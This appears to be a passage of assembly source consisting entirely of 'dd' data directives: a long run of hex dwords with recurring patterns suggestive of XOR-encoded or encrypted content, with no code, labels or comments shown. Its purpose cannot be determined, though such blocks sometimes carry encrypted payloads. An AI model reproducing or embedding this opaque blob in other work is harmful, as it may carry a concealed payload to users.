		dd 66883A90h, 64C63D15h, 6223215h, 0F594BF74h, 938FC82Eh
		dd 6BADE2EAh, 0AF223215h, 94E42802h, 0A3488DFDh, 0B9E87B4Bh
		dd 0A5A0B79Ch, 0E81E3A16h, 6688321Fh, 69255275h, 66223299h
		dd 0E3D75315h, 61722764h, 75AD5259h, 27223215h,	2450A384h
		dd 9106AE55h, 9CE72D66h, 9E531716h, 0E709EE8h, 0D109B02Ah
		dd 52A9B275h, 0C2CCB373h, 6DF85346h, 4C883215h,	42661B8Dh
		dd 0D42BF5F7h, 0D3EEEA19h, 6172203Ch, 6645B81Ah, 0EBDA3215h
		dd 9C2AA190h, 0BB085212h, 0F887B2E8h, 69F2CD74h, 66113E97h
		dd 668FDB15h, 0A89A3215h, 77D3C84Ch, 0E094BB62h, 9E8031D6h
		dd 664FBB1Ah, 423215h, 0BC6FF194h, 0CB178873h, 17C1F474h
		dd 2A25C800h, 0B19A5275h, 668834FCh, 4BDB3415h,	740D75Dh
		dd 7E7953EDh, 9F3B1D55h, 746D87EAh, 0E22D35EFh,	6611320Dh
		dd 668821FCh, 0F5D1EA15h, 0DC83733h, 0EA263588h, 845D6CECh
		dd 279A1D1Bh, 5DB1B798h, 6AF835EFh, 0E2883215h,	0D371109h
		dd 0F7026B51h, 99F800F7h, 0EDEE52C5h, 1FFB54E5h, 0E3AB536Ah
		dd 6E12F193h, 170DF4EDh, 2043C800h, 97A2CE75h, 72795360h
		dd 9F32EC13h, 746D87EAh, 0EBDE35EFh, 9C2AA190h,	0AC035212h
		dd 66443AFCh, 0A52C3C15h, 8A8BBDB2h, 0B677537Ch, 664434FCh
		dd 0E3BA6415h, 0EFBE6B48h, 654BBC90h, 6DC13D1Dh, 6223215h
		dd 6611B91Ah, 94083215h, 0E3825390h, 61D82764h,	79933D52h
		dd 69883215h, 66442B91h, 6636DB15h, 59D53215h, 66E3BD6Bh
		dd 0FD595C92h, 0DDCF4CB8h, 0BA03E13Ch, 1CE0A2DEh, 69C5EE05h
		dd 66222897h, 74F95215h, 30883215h, 0B02543D9h,	0E3085Ah
		dd 9BAE49E7h, 76F0528Ch, 992569F5h, 9C301BA0h, 0E39CCB12h
		dd 61720986h, 0EA4B52EDh, 66223217h, 9970F39Fh,	8EE8CBC5h
		dd 66443204h, 0F5B90953h, 7441DBB9h, 6DE8F0BEh,	0B7F1792Bh
		dd 6632DB53h, 0FBF13215h, 0F34C6F6Bh, 75193B2h,	1C068847h
		dd 694B383Ah, 66883095h, 75E8415h, 0A5B4B79Ch, 8F713A16h
		dd 66883207h, 0BF3D1264h, 0D5D96A28h, 5492202Dh, 0CC316975h
		dd 0BFFD2C25h, 772EB57h, 7360B7D3h, 69CF35EFh, 6644389Ah
		dd 6627DB15h, 1B2A3215h, 0E099EFEh, 89C3BCB9h, 0AEA35475h
		dd 0ED77D76Ah, 997153C3h, 9C561BA0h, 0DF445212h, 6FF9CDAFh
		dd 3C883215h, 46C77A1Eh, 6F0A748Eh, 0EB7068E0h,	9CB3A190h
		dd 76C63D12h, 8F223215h, 6611321Eh, 589934BEh, 58D75FE4h
		dd 990AFB16h, 67943DC5h, 9A883215h, 6652BE1Ah, 77CB3215h
		dd 63113215h, 0D03822BDh, 0D7A0C709h, 4E955EE7h, 0A4CCDF95h
		dd 0A512B79Ch, 0A0BD3A16h, 9C374390h, 0E91E7512h, 6688320Dh
		dd 664421FCh, 0ACB42815h, 8AA9397Fh, 15546892h,	0B28BC0C7h
		dd 57B15CB0h, 0FCB6E07Dh, 0D377CBC1h, 61BE203Ch, 89A35475h
		dd 404F93h, 568BE594h, 0E3C9534Eh, 61D80986h, 928575h
		dd 2919F494h, 6994CD74h, 66222A94h, 74933D15h, 8F883215h
		dd 66443218h, 0FB25A1B1h, 7663705Eh, 8B21A8AFh,	0E3CDCB79h
		dd 6E21F18Bh, 1794F4ECh, 218FC800h, 664CBF1Ah, 69423215h
		dd 6611329Dh, 62E05315h, 9FFEF32Ch, 740B87EAh, 0EBE435EFh
		dd 9CB3A190h, 38155212h, 0A09D3D75h, 7DA8D1Ah, 658CD74h
		dd 0BC8D1Ah, 0EF43F59Eh, 65D29090h, 6699DB1Dh, 0D41A3215h
		dd 1B664D6Eh, 0D2994CDBh, 7F7BB19Ch, 0E58BE389h, 9C3B5FA8h
		dd 0E31E3212h, 6688328Ah, 664EDA75h, 0AFA43215h, 0E38A8720h
		dd 1232F2Bh, 3883C395h,	7DB8D1Ah, 7360B7D3h, 69CF35EFh
		dd 6644339Dh, 14ACB15h,	69F14038h, 66882A93h, 6657DB15h
		dd 411F3215h, 0B6EA8FDh, 78DDAF14h, 40908877h, 8E9D0D5h
		dd 4FA4CD0Ch, 698FC807h, 66442496h, 6633DB15h, 0EF943215h
		dd 2EAC32C7h, 0F48E1C67h, 0DF26C6A9h, 0EB8C9418h, 9CB3A190h
		dd 76C43D12h, 8F223215h, 6611321Eh, 8823EC2Ch, 7FA976FAh
		dd 990D0FD3h, 0E398CEC5h, 6E8BF1B3h, 664438FCh,	7BACD015h
		dd 3F56E26Eh, 0A0D70244h, 9C514390h, 0EF2D7512h, 66113207h
		dd 66883FFCh, 6B4CA415h, 5908C5EAh, 9E6BDDD1h, 6961A8A9h
		dd 0A5443215h, 1CB90686h, 0F7596B09h, 7B01744Fh, 0D72C8789h
		dd 9EAC1BA6h, 4FA4CDECh, 8F8FC807h, 6644321Bh, 1F3DBB9Dh
		dd 0CCEFB0DBh, 378BB4CAh, 0E3C9C12Fh, 61D80986h, 93C1CDECh
		dd 0A522B79Ch, 0A0B13A16h, 9C374390h, 8F717112h, 6688321Dh
		dd 0FC12F1FAh, 0B60DD288h, 2CB65A74h, 69E8F263h, 6644309Eh
		dd 697D6515h, 9970C4AAh, 9C9A1BA0h, 76ADCA12h, 0DB223215h
		dd 0BF099EA1h, 232C789Bh, 0BD3BEA0Dh, 0EB35973Ah, 9C2AA190h
		dd 0EDE8CA12h, 0D6FE54CBh, 0B6DD531Fh, 660CBC1Ah, 8FE83215h
		dd 66443201h, 403EAB94h, 0AB2F078Dh, 0AA9826BAh, 62253D7Eh
		dd 0CE627C41h, 0EF7058A3h, 654B9C90h, 0E382CA1Dh, 61D82764h
		dd 8D79C759h, 69735479h, 66442298h, 6629DB15h, 6C663215h
		dd 6295B35Eh, 20CF9B95h, 6ECB520Dh, 9C113215h, 31C454E6h
		dd 3749933Ah, 0E05DD294h, 7490756h, 475587EAh, 0EBB135EFh
		dd 9C19A190h, 67963D12h
		dd 9A883215h, 9FB8E2EAh, 0A260B79Ch, 8F713A16h,	6688321Ah
		dd 0DEBEA4DFh, 0F5F16A30h, 0F59F351h, 69551A7Fh, 66443195h
		dd 0A1A95415h, 1794F474h, 228FC800h, 0E8115AE0h, 8FD78966h
		dd 66113212h, 0C02AC8F5h, 9943E3B1h, 9C301BA0h,	68F85212h
		dd 0A0883215h, 7E131D28h, 0BF043D8Fh, 21640AC9h, 0EBE9CAF1h
		dd 9C7FA190h, 99DBCE12h, 6E923DC5h, 69883215h, 66443091h
		dd 0EF435215h, 65D28090h, 0E34ECB1Dh, 61BE2764h, 80A35256h
		dd 4ADA32Fh, 74A8D1Ah, 664426FCh, 73C17B15h, 65D13FCEh
		dd 63B17D3Eh, 939A49E6h, 47C2FDCBh, 8ED5ADBh, 8FE88E9Bh
		dd 66443213h, 0E916A5B9h, 0E77753D4h, 7FA7ECEh,	746D87EAh
		dd 304235EFh, 661137FCh, 3DA6F715h, 1D566Ah, 7D42FABh
		dd 5D82B798h, 0E38735EFh, 6644321Eh, 662234FCh,	4E03D515h
		dd 99DB5180h, 0E72252C5h, 0E7FFF0DAh, 2BC286F4h, 0E3015365h
		dd 6E47F1A3h, 662ADBECh, 0DB923215h, 872F6789h,	0E3828B6Bh
		dd 61D82764h, 0CC79CE46h, 9E4E222Bh, 4FF1CDE0h,	625C807h
		dd 66113EFCh, 0CEC70615h, 60ABB20Fh, 6914D078h,	3D436497h
		dd 0E305534Ah, 61BE0986h, 662223FCh, 2F451715h,	3D550E9Fh
		dd 0EF08D291h, 0E1574AFEh, 99E97F58h, 61023DC5h, 69443215h
		dd 66223390h, 0E398CA15h, 6E8BF1AFh, 0E525C775h, 9C0357A8h
		dd 0E21E3212h, 66883126h, 664439FCh, 19719115h,	7D5DD839h
		dd 2126CAF9h, 7335B7D3h, 9F6435EFh, 0F0DF037Dh,	47073DEFh
		dd 6443215h, 662226FDh,	7778C15h, 357810A8h, 2C1EBF2Fh
		dd 33F9A5Dh, 3CC8CE61h,	0E7EE6A6Bh, 71A75E3h, 740B87EAh
		dd 0E61E35EFh, 66883214h, 0F5C1BFE9h, 8F25C82Eh, 66113206h
		dd 8EEEF5ACh, 0C69C11C6h, 0DAEA17BDh, 0AD397ADFh, 990A3E29h
		dd 0E72252C5h, 6E240FAh, 0E31E6C46h, 66883215h,	0E3CD5374h
		dd 6E21F603h, 661AB01Ah, 0E6E83215h, 0E64B30FDh, 66223215h
		dd 1794F474h, 208FC800h, 0F2248D75h, 8F703E09h,	66113201h
		dd 61E39665h, 0FCD075F0h, 45B4B716h, 5A313CF8h,	0B6DE726h
		dd 0B02C534Eh, 9EDE952Fh, 743887EAh, 0EB7135EFh, 9C7FA190h
		dd 0B6DDCE12h, 20CDB275h, 0B0FED594h, 9A257791h, 0A204B79Ch
		dd 0A0ED3A16h, 9C9D4390h, 61AD7412h, 0A4223215h, 0AFFBE1F4h
		dd 66E0C194h, 9AD6CEB1h, 740B87EAh, 937135EFh, 0F50DBF74h
		dd 643C82Eh, 0CDE4B373h, 91A63D47h, 6A0B3D74h, 69443215h
		dd 6622349Ah, 66933D15h, 99883215h, 6CC33DC5h, 6223215h
		dd 5D3B373h, 0BD373DEAh, 77C83D74h, 8F223215h, 66113219h
		dd 0DF271A29h, 0B28FB243h, 16997C84h, 0A23BB79Ch, 0A0713A16h
		dd 9C514390h, 93427412h, 7E9E3D74h, 8F883215h, 66443206h
		dd 0FF50A774h, 0F24892BAh, 0ABD3B671h, 5A4DBB1Fh, 0E1C085Fh
		dd 90C57D7Fh, 0EDEE6575h, 99256BECh, 9C301BA0h,	0E7775212h
		dd 720D9E4h, 5DD7B798h,	0E62D35EFh, 66113214h, 8F58CDE0h
		dd 6644321Ch, 2C00ED73h, 3FC2A35h, 480DBBD1h, 64C31D1h
		dd 0BB9DCAACh, 6619DB50h, 0A82B3215h, 23460791h, 0A04379C3h
		dd 9C044390h, 6E617412h, 49443215h, 8ABB8378h, 0E657B63h
		dd 0F24562F2h, 664CB51Ah, 0E7423215h, 0CABB0DFDh, 0D377531Ah
		dd 61BE203Ch, 65AF3D75h, 113215h, 0EDEEF89Eh, 0E3C953DBh
		dd 61D80986h, 0EE1E5275h, 66883215h, 0B6BB5374h, 66223FFCh
		dd 657EA815h, 0DC71C21Dh, 2BA6482Ch, 0E3ABBFEFh, 6E12F60Fh
		dd 6685DB75h, 501B3215h, 0DC7503F7h, 0FDA0CDE2h, 697FC7D4h
		dd 66443197h, 1EC8B215h, 1794F474h, 208FC800h, 664435FCh
		dd 8B13AA15h, 55AF3091h, 44FC097Dh, 71C33DA4h, 69223215h
		dd 6611239Bh, 6684DB15h, 1FF23215h, 0F4FAA7B2h,	5B8AFF47h
		dd 0D377A407h, 61BE203Ch, 0F5A7BFEDh, 8F16C82Eh, 66883206h
		dd 3688B5ABh, 7AE62C4Ah, 0B272BA76h, 0C5110C7Ch, 99597059h
		dd 0E3ABCAC5h, 6E12F60Bh, 6689B51Ah, 0A0B13215h, 9C374390h
		dd 69717412h, 6688319Ah, 96CF5415h, 7FA851Ah, 0A8905475h
		dd 0D1875C06h, 8B2C53CFh, 9FFD4BFFh, 4FA4CDE9h,	938FC807h
		dd 5DD7B798h, 6ACB35EFh, 30113215h, 0DB4B1ED3h,	73D70049h
		dd 99E2EF1Eh, 6A933DC5h, 69883215h, 6644349Fh, 66A83D15h
		dd 0EF113215h, 654C1090h, 6AC33D1Dh, 6223215h, 0E77EE894h
		dd 0D9EE5FC8h, 0E525EC39h, 9C3B5FA8h, 0E31E3212h, 668832BCh
		dd 0A5B875h, 0ECA9D894h, 1794F474h, 358FC800h, 119FB275h
		dd 6621B31Ah, 0B2913215h, 38E0536Fh, 68A8CF5h, 662235FCh
		dd 0FF175115h, 0FE635B8Eh, 0CCCC0AAEh, 42532Fh,	7D35DB94h
		dd 668838FCh, 0E6B9F615h, 9EDE37BDh, 72BE6CBh, 74A187EAh
		dd 0D92435EFh, 72534A1Dh, 6615BB1Ah, 0DCEE3215h, 9F25F3EAh
		dd 5DB1B798h, 6BF835EFh, 0C9883215h, 858533FCh,	0A32C8A18h
		dd 0F66AEF89h, 0E6E8E2EAh, 0ED228FDEh, 0E3AB53CBh, 6E12F1ABh
		dd 0E987CB75h, 66443201h, 66223DFCh, 46DA7E15h,	0BCBAFF06h
		dd 0D1586A5Dh, 0D604F6CDh, 1794F474h, 218FC800h, 6655BE1Ah
		dd 6ACB3215h, 0BB113215h, 0ED18F211h, 2A97D14Ah, 0ED01D07h
		dd 0A1A06C92h, 668DB01Ah, 69243215h, 9943F4A2h,	9C031BA0h
		dd 73093D12h, 8F443215h, 66223205h, 0EA9A8DCCh,	2CA003F8h
		dd 487B462Bh, 34DC4878h, 5D82B798h, 696135EFh, 79443215h
		dd 88781BB5h, 377EEA7Dh, 3499609Bh, 0B6BB259Fh,	662CDBECh
		dd 98703215h, 7C77881Ah, 95EB9058h, 0A2F93490h,	0A5D3B79Ch
		dd 0E0873A16h, 6644320Ch, 662226FCh, 1CE91A15h,	0BB162ACEh
		dd 0DABD7860h, 66F0BB90h, 48637A31h, 0B35B1DFh,	6643C80Ch
		dd 665DB71Ah, 0EC1E3215h, 66883214h, 17C1F4E0h,	2125C800h
		dd 661DB31Ah, 0E3873215h, 66443213h, 6622B41Ah,	63793215h
		dd 66E506Bh, 794B9E0h, 740B87EAh, 0E67135EFh, 69DF10FBh
		dd 6644329Fh, 8F436B15h, 66113218h, 6C94AF8Bh, 0B2218FF7h
		dd 0E3FCF4Eh, 0F594BF34h, 938FC82Eh, 72ADE2EAh,	72223215h
		dd 296D5165h, 905CF895h, 54C9B0A2h, 7A8A838Fh, 0EFFC2332h
		dd 654BF490h, 67C93D1Dh, 93223215h, 1794F4EDh, 258FC800h
		dd 664ADBE0h, 0A543215h, 0A43D25EEh, 39BFE21Eh,	4CA35BEAh
		dd 1C2BC47Dh, 6B9E3D87h, 8F883215h, 6644321Dh, 21D24490h
		dd 0D7504CACh, 74A187EAh, 0EBB835EFh, 9C19A190h, 6AF85212h
		dd 0D2883215h, 9484246Bh, 84B03AD0h, 73FD0A0h, 6697B01Ah
		dd 8E243215h, 66223206h, 0EA3FEE92h, 0BF608E13h, 9EAF3B2Bh
		dd 1757D8B2h, 3E68EEBDh, 92B8973h, 8F94CD74h, 66223204h
		dd 15B1BB06h, 0B003ABC3h, 0E4BF6B54h, 0F098263Ch, 0AC94BBBFh
		dd 8F8031D6h, 66443210h, 53E9CDE4h, 1794F41Ah, 258FC800h
		dd 0B0FB3D75h, 2DEB4CABh, 0E41E5336h, 66883214h, 0F1645AECh
		dd 72CBCE34h, 0EB113215h, 0F8BAFB88h, 0AE9E8062h, 0F2AC097Eh
		dd 8E851F26h, 9940E014h, 9C561BA0h, 6CCB5212h, 42113215h
		dd 48EBE8FAh, 12061FDCh, 6636DA36h, 0BE3C3215h,	1584896Fh
		dd 977D1117h, 9129C583h, 5C48BCF3h, 0EDEE58BEh,	0EB2568CDh
		dd 9C19A190h, 6603DB12h, 3E813215h, 0A640EF32h,	857DB985h
		dd 49037EC6h, 331878E7h, 72ADE2EAh, 10223215h, 68C8AAEFh
		dd 1265D301h, 0C40164F1h, 0C3FABCA2h, 0EF7D8E7Fh, 654BFC90h
		dd 6656DB1Dh, 99D3215h,	82F933CBh, 9ED8DD6Fh, 9BD92BC7h
		dd 8A2F7DAAh, 0D7A96575h
		dd 39F9EA61h, 0BF9B174h, 6625C80Ch, 66D1B71Ah, 0E83215h
		dd 0D94BF19Eh, 0E3E453C7h, 61EB2764h, 0D85256h,	5344ED94h
		dd 654A534Fh, 69A32BDh,	0D987C39Eh, 0D3BB53E3h,	61D8203Ch
		dd 6610BE1Ah, 0EB703215h, 9C7FA190h, 0E7445212h, 8E3EC4h
		dd 70C3EAFh, 6645B91Ah,	99DE3215h, 0ED71C7C5h, 0EFE9CBC4h
		dd 6587E490h, 0E3E4C71Dh, 61EB2764h, 8D085256h,	62C03D2Bh
		dd 223215h, 795F3ADh, 3DBEE77Dh, 0D3BBCAF0h, 61D8203Ch
		dd 0F594BFE9h, 698FC82Eh, 66442392h, 662EDB15h,	78C63215h
		dd 0C20D8BD9h, 0FF2709BBh, 0B6DD6C0Bh, 67983D75h, 93883215h
		dd 6642BB1Ah, 0ED2D3215h, 66113215h, 0B40DBB74h, 8F4C31D6h
		dd 66223213h, 0F19EE8C6h, 0E34E0E74h, 61BE2764h, 72AF3D56h
		dd 8F113215h, 6688321Ah, 5E063B22h, 2F33F97Eh, 9E505598h
		dd 9ABF5FB8h, 0CC76D37Dh, 6636DBFFh, 3C203215h,	163A7773h
		dd 0EB57D204h, 70B9228Ch, 4CD71E8Eh, 8FE8286Dh,	66443206h
		dd 0F3ACD833h, 47521DFCh, 78E1C69Ah, 0CD2A7FBBh, 34F13C8Bh
		dd 394BD795h, 4F3DCD74h, 9E43C807h, 5DB1B798h, 99ED35EFh
		dd 70093DC5h, 6443215h,	8EDD851Ah, 6611321Eh, 0CEBE97F9h
		dd 4D5F5BFEh, 38DD3EF2h, 0BC94BB74h, 9A8031D6h,	7335B7D3h
		dd 9A6135EFh, 97BD057Dh, 0D377CE91h, 61BE203Ch,	8CC1B275h
		dd 8F7153E0h, 6688321Fh, 0ACE75D2Fh, 0DB9A10E0h, 6FF96F66h
		dd 0D9883215h, 0F7D1D4C9h, 0B387D788h, 39B9C695h, 0F50DBF74h
		dd 643C82Eh, 662238FDh,	9A8B415h, 9AA0717Dh, 8FB54E98h
		dd 6622321Eh, 5AC0591Bh, 3E516867h, 3820B942h, 9AF2CD74h
		dd 0A5CFB79Ch, 0E0873A16h, 66443214h, 17A7F4EDh, 2916C800h
		dd 6692BC1Ah, 0D3243215h, 6633DB70h, 59053215h,	2B91D01Bh
		dd 8D7AF0Ah, 764A6404h,	7AAE3E5h, 5318E67Dh, 67C03D82h
		dd 9F223215h, 743887EAh, 0EB7435EFh, 9C7FA190h,	7FA63D12h
		dd 8F113215h, 66883201h, 9E7E8636h, 0FE544FE9h,	285418B0h
		dd 6A441132h, 0A2B8A3A7h, 0EFD7E2EAh, 65D2D090h, 0E34EC71Dh
		dd 61BE2764h, 644ACE5Ah, 93E85C1Bh, 74A187EAh, 6B835EFh
		dd 0E6E1B973h, 0EB70EED1h, 9CB3A190h, 7DC43D12h, 6223215h
		dd 661123FDh, 0A94ABA15h, 0FC780B31h, 744C100Eh, 0BCD367BCh
		dd 6D02EEDh, 0B6BB5374h, 662223FCh, 0A9C36C15h,	3A965521h
		dd 0CBBD6F70h, 765DD531h, 0E398E154h, 6E8BF1F3h, 66443BFCh
		dd 3D01215h, 60E5C486h,	0E34EA241h, 61BE2764h, 6624DB58h
		dd 0FD163215h, 69FB55DAh, 513D7B7Dh, 67A93DDDh,	9A113215h
		dd 74A187EAh, 8E2435EFh, 66223213h, 79197ABFh, 8ED0E9FBh
		dd 6644321Ah, 0BAD796EFh, 91188021h, 40AEA011h,	0D309E7h
		dd 73C5DC94h, 0EBE9534Dh, 9CB3A190h, 73CF3D12h,	8F223215h
		dd 66113205h, 36106984h, 0F3BFC83Eh, 34E1B9C1h,	4B12F0E1h
		dd 668838FCh, 57137C15h, 3C92F6A7h, 9974F20Ah, 67033DC5h
		dd 93443215h, 0A5CCB79Ch, 0E61E3A16h, 66883214h, 17C1F4EDh
		dd 2B25C800h, 66113DFCh, 10A61415h, 1542DF5Eh, 0FBCE1CE9h
		dd 8F6E0407h, 91C5BB7Dh, 6656DBC9h, 0CAEF3215h,	36F1EA76h
		dd 0CF6EDA96h, 31BDB5B4h, 18F48A7h, 743887EAh, 0EB7435EFh
		dd 9C7FA190h, 662FDB12h, 7A493215h, 404CEAA2h, 5B123EA5h
		dd 99D0432Ah, 6601DBC5h, 0B0653215h, 5CF1F876h,	7F73D20Ah
		dd 68951B87h, 0E301C6CCh, 6E47F1FFh, 0BE8B375h,	719957Fh
		dd 170DF4ECh, 3343C800h, 66223BFCh, 0CF51E715h,	6BBF6C5Eh
		dd 512C3BF1h, 9FBE2938h, 743887EAh, 616135EFh, 68443215h
		dd 9A58499Ah, 0E39C35F2h, 61720986h, 664422FCh,	757CBD15h
		dd 56B74406h, 6A15FCCFh, 0AA6BBE98h, 69F2CD6Dh,	6611339Ah
		dd 6C61CA15h, 61443215h, 1EB03CBAh, 8AAF37A7h, 940DBB58h
		dd 64C31D6h, 0C233A8ACh, 0E3D7534Eh, 61722764h,	67C63D56h
		dd 9F223215h, 27F6B375h, 7BAE407h, 0B3B4187Dh, 76A73DC7h
		dd 8F113215h, 6688321Eh, 7AF4243Bh, 7B5FBFBAh, 9308C2FDh
		dd 74A187EAh, 0E74B35EFh, 66223200h, 661122FCh,	0F7CE8015h
		dd 2D49CEBDh, 0C1355E47h, 4F98D806h, 0F50DBFF4h, 643C82Eh
		dd 662234FCh, 0D49E7D15h, 75BD3D7h, 6655DA75h, 313B3215h
		dd 0B4A77CC7h, 6AF741C2h, 0AAF25262h, 0ED86DF44h, 0E21E69ECh
		dd 66883217h, 992530A0h, 6942C7C5h, 6611369Ch, 0E8365415h
		dd 0B1C5541Ch, 0EF437E99h, 65D2C490h, 669BDB1Dh, 0CA4F3215h
		dd 0CA715034h, 3A1C0DBCh, 0B9F63DF7h, 0CB85111Fh, 0E3E4CAE9h
		dd 61EB2764h, 8CE0CA47h, 9EB970A1h, 740B87EAh, 0E77135EFh
		dd 903F66FAh, 0A5F33D29h, 0F5A7BF74h, 9F16C82Eh, 0EF70E2EAh
		dd 9C594B90h, 6DA73D12h, 6113215h, 0AB108A73h, 952F5ACh
		dd 0E3E45317h, 61EB2764h, 668EDB52h, 3B943215h,	841C2223h
		dd 661120FCh, 742F515h,	0C5F95A6Ch, 7A2BE45h, 4A370AC2h
		dd 0EE643B6h, 84DC6B8Ch, 6625BB1Ah, 0EB1E3215h,	66883214h
		dd 4FF1CDE0h, 9A25C807h, 0EB70CB75h, 9CB3A190h,	0B6BBCE12h
		dd 9CA7BBECh, 691931D6h, 6688259Bh, 6656DB15h, 0ED333215h
		dd 11818EDBh, 2237FE91h, 178BE728h, 1A5F60F7h, 661121FCh
		dd 176D5315h, 0D00050ADh, 67328D2Dh, 0A2942B3Fh, 6320B2E8h
		dd 7335B7D3h, 66535EFh,	0EDD2C595h, 0A4E053D6h,	9EF5CF75h
		dd 740B87EAh, 0EB1E35EFh, 66883214h, 0F5C1BFEDh, 6925C82Eh
		dd 66113A98h, 64023D15h, 6443215h, 0B6DDCA74h, 0AD905475h
		dd 6E9E6D1h, 795B973h, 0A5DCB79Ch, 69F83A16h, 22883215h
		dd 5D80A9BBh, 0C2D1C24h, 0F221324Bh, 0E34EE118h, 61BE2764h
		dd 62AA3D52h, 6113215h,	0EE9F79Fh, 0B9E2CC01h, 6625B01Ah
		dd 0EA1E3215h, 66883214h, 4FF1CDECh, 625C807h, 69EAB973h
		dd 0EBE9C5A2h, 9C7FA190h, 0B6DDCB12h, 661126FCh, 0FF395F15h
		dd 120D44F9h, 0C2F406B5h, 601DB294h, 0ADEC0B29h, 64C1BB8Dh
		dd 8F2A31D1h, 66113201h, 564169C5h, 0AE9F3872h,	5FAB6817h
		dd 0CF8AEBFAh, 0C2254B19h, 7335B7D3h, 697D35EFh, 66113394h
		dd 0E887CA15h, 66443214h, 944A5AE0h, 69E4AC45h,	66883397h
		dd 0D3BBCB15h, 61D8203Ch, 66113DFCh, 59B96815h,	0AD413350h
		dd 1B4F718Eh, 0A4FF2628h, 5D1BB798h, 6FAD35EFh,	0C223215h
		dd 8BA9C030h, 620C5D10h, 6DADE2EAh, 8A223215h, 0D57BF0D0h
		dd 71AA486Ch, 0E44BF618h, 66223202h, 661120FCh,	0D3C84315h
		dd 90BD862Dh, 729CCFD7h, 0BCD76E04h, 0EF2DE511h, 65803490h
		dd 77A03D1Dh, 8F113215h, 66883219h, 8C5CF51Eh, 0CBF42D95h
		dd 0F757805Eh, 73F9B7D3h, 690B35EFh, 6622279Eh,	69943D15h
		dd 8F883215h, 6644321Fh, 0F048C5AAh, 0BB2F774Fh, 59E0EC40h
		dd 683CE6Eh, 662221FDh,	0E7E37615h, 0BC12E7D3h,	3DEB68B5h
		dd 39AEAF5Bh, 68D9B5EFh, 3F578D1Ah, 50832FAAh, 0D3DD534Eh
		dd 61EB203Ch, 668FBB1Ah, 0EE4B3215h, 66223214h,	0F594BFEDh
		dd 8F8FC82Eh, 66443218h, 3B4CF5E4h, 0F8A815E1h,	5F207619h
		dd 6994CDEDh, 66222692h, 661EDB15h, 5C053215h, 0FFCFE812h
		dd 46954623h, 2252D65Ah, 540DBBE4h, 8F4C31D1h, 66223206h
		dd 567C4A0h, 0C1C8413Fh, 0DB819B77h, 0D7C1B72Bh, 0A03AB422h
		dd 9C9D4390h, 0EE4B7512h, 6622320Dh, 6603B01Ah,	6B613215h
		dd 38443215h, 18400833h, 0F94E25A1h, 0D8D5FAD9h, 3D2A7E7Dh
		dd 6CCB52EFh, 7E113215h
		dd 0F2B4C1ADh, 0D3D54FACh, 0E62D64CAh, 66113215h, 0D377534Ah
		dd 61BE203Ch, 662239FCh, 3FFCB615h, 3BD5934Ah, 0C9A3E6F4h
		dd 5DB1B798h, 99E835EFh, 7D0A3DC5h, 6443215h, 66223FFDh
		dd 96937215h, 7B5A46E6h, 92E0442h, 0E77A2006h, 0FDF84EDFh
		dd 0E301535Bh, 6E47F623h, 6625B71Ah, 0E01E3215h, 66883214h
		dd 0D94B52E9h, 0E3E453E7h, 61EB2764h, 0ABE0CA52h, 8F873431h
		dd 6622321Ah, 9B59A702h, 95D802E9h, 0F480BC1h, 9944B133h
		dd 9C031BA0h, 69E85212h, 0D14BC4AAh, 0EB4353C5h, 9C2AA190h
		dd 0B677C712h, 6648B31Ah, 0E32D3215h, 66113213h, 6688BB1Ah
		dd 0E3CD3215h, 6E21F62Fh, 6619BE1Ah, 0E6873215h, 66443217h
		dd 0E3E45375h, 61EB2764h, 68073D4Ah, 6443215h, 6622B41Ah
		dd 0EE1E3215h, 66883215h, 0AA2CCB74h, 69F68975h, 66112691h
		dd 6D615215h, 0B443215h, 68FF7367h, 0F6A5B345h,	3DD9D40Ah
		dd 4FF1CD74h, 9F25C807h, 5D82B798h, 0E58735EFh,	6644321Eh
		dd 662234FCh, 0BA80A015h, 993EA965h, 69AD52C5h,	0C3223215h
		dd 26394571h, 30C71017h, 0B3D7C05Bh, 0E79D23D0h, 74A1740h
		dd 668839FCh, 83867C15h, 0C141BB41h, 33BF647Ah,	0A282B79Ch
		dd 63AD3A16h, 9D223215h, 0BBACF84Eh, 73F9B7D3h,	691B35EFh
		dd 66223396h, 68F8CB15h, 0A2883215h, 0A4697B64h, 708F3157h
		dd 0AAC6E760h, 32C65A15h, 0E44BACFCh, 66223214h, 4FA4CDEDh
		dd 9A8FC807h, 5DD7B798h, 6DCB35EFh, 0BC113215h,	0A92DE511h
		dd 0DEEB93D4h, 0B6DDEF95h, 6617DA75h, 0E5A3215h, 629591D9h
		dd 662221FCh, 0B24D6D15h, 0F76CE7E5h, 7F7C72ABh, 6544B24Eh
		dd 0FD9BFC64h, 0B1373D4Eh, 68C1BB74h, 9F2A31D1h, 7715275h
		dd 6687DA74h, 3F863215h, 0EC407C53h, 0C765EA92h, 0AAA0C171h
		dd 6657DAF6h, 1F303215h, 2BCD0E6Eh, 0E01837D1h,	22C2A43Bh
		dd 333BA81Fh, 74E6CA7h,	73F9B7D3h, 9E1B35EFh, 750A7A7Dh
		dd 0D3EECAC4h, 6172203Ch, 66443CFCh, 462FA15h, 5A224729h
		dd 275B7441h, 6A325B9h,	6622BC1Ah, 0D7AE3215h, 78A4490h
		dd 5DD7B798h, 72CB35EFh, 0F4113215h, 2893F45Ah,	5DCA648h
		dd 136D25F1h, 42828151h, 99F3C728h, 67CF3DC5h, 9A223215h
		dd 0A203B79Ch, 6E83A16h, 9D2D15AFh, 66A23D08h, 7113215h
		dd 668CB71Ah, 0DE223215h, 8F43CFDBh, 66113207h,	8B1E05D4h
		dd 4799976h, 84FF7F02h,	0AE2DA93h, 62E2C573h, 76445AE9h
		dd 0ED2D3215h, 66113214h, 6683DBE0h, 1ACC3215h,	44700B37h
		dd 0FC3568AAh, 76885AE6h, 61AD3215h, 6223215h, 9F903D9Eh
		dd 66E2226Ch, 67C53DEDh, 9E223215h, 7DFCA7EAh, 0EF7035EFh
		dd 9C52D390h, 63A63D12h, 6113215h, 750E995h, 0C60AB798h
		dd 0E82D3A16h, 66113211h, 7FC8475h, 0E94BE2EAh,	66223214h
		dd 931558E0h, 66883CFCh, 4979F415h, 69B82A42h, 5ECDEB33h
		dd 0E6C7560h, 66442215h, 662239FCh, 0AC1A5E15h,	0ED54E058h
		dd 18CAB7BEh, 6602327Dh, 6AF95215h, 3A883215h, 8C1DACA9h
		dd 7391F4A2h, 8F2F3B3Eh, 66883206h, 1808EDE5h, 12CB8A6Bh
		dd 0DC144415h, 76A4FFA8h, 3FDA6101h, 86F68D46h,	74B1B2Fh
		dd 0E087327Fh, 66443219h, 6624BA1Ah, 0E91E3215h, 66883215h
		dd 7DA9A7EAh, 8F4235EFh, 66113206h, 0EDD9D61h, 5D24E03Ch
